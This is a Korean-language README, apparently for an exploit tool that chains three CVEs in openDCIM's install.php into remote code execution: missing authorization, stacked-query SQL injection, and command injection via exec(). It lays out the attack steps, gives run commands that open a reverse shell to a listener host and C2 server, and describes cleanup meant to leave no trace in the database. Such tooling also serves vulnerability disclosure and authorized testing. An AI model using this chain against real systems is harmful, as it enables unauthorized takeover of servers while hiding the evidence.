
openDCIM install.php SQLi에서 RCE로 이어지는 체인 (CWE-862 + CWE-89 + CWE-78)
openDCIM의 install.php LDAP 구성 폼을 대상으로 한 원격 코드 실행 체인입니다. VulnCheck go-exploit 프레임워크를 기반으로 구축되었습니다.
| # | CVE | CWE | 설명 |
|---|---|---|---|
| 1 | CVE-2026-28515 | CWE-862 | install.php는 LDAP 구성 폼 앞에서 역할 검사를 수행하지 않습니다. 모든 사용자가 접근할 수 있습니다. |
| 2 | CVE-2026-28516 | CWE-89 | Config::UpdateParameter()는 문자열 보간과 PDO+MySQL을 통한 스택 쿼리를 사용합니다. |
| 3 | CVE-2026-28517 | CWE-78 | report_network_map.php는 dot 구성 값을 exec()에 직접 전달합니다. |
영향받는 버전: 모든 버전 (최신 커밋 4467e9c4에서 테스트됨)
install.php에 POST - LDAP 폼을 통한 SQL 주입으로 구성을 백업하고 dot을 명령 페이로드로 덮어씁니다.report_network_map.php에 GET - exec()를 트리거하고 id 출력으로 RCE를 확인합니다.install.php에 POST - dot을 리버스 셸 페이로드로 덮어씁니다.report_network_map.php에 GET - 리버스 셸을 트리거합니다.install.php에 POST - 백업 테이블에서 모든 원래 구성 값을 복원합니다.익스플로잇 후 데이터베이스에 흔적이 전혀 남지 않습니다.
go build -o opendcim-exploit .
# Scan only
./opendcim-exploit -a -rhost 10.0.0.1 -rport 80
# Exploit with reverse shell
./opendcim-exploit -e -rhost 10.0.0.1 -rport 80 -lhost 10.0.0.2 -lport 4444 -c2 SimpleShellServer
./opendcim-exploit -e -rhost 10.0.0.1 -rport 80 -lhost 10.0.0.2 -lport 4444 -c2 SimpleShellServer -username user -password pass
./opendcim-exploit -e -rhost 10.0.0.1 -rport 443 -ssl -lhost 10.0.0.2 -lport 4444 -c2 SSLShellServer
| 플래그 | 기본값 | 설명 |
|---|
-rhost | 대상 호스트 | |
-rport | 80 | 대상 포트 |
-ssl | false | HTTPS 사용 |
-lhost | 리스너 호스트 (리버스 셸용) | |
-lport | 리스너 포트 (리버스 셸용) | |
-c2 | C2 유형: SimpleShellServer 또는 SSLShellServer | |
-username | HTTP 기본 인증 사용자 이름 (SetEnv 배포에서는 생략) | |
-password | HTTP 기본 인증 비밀번호 (SetEnv 배포에서는 생략) | |
-a | 자산 탐지 (대상이 공격 가능한지 확인) | |
-e | 익스플로잇 모드 |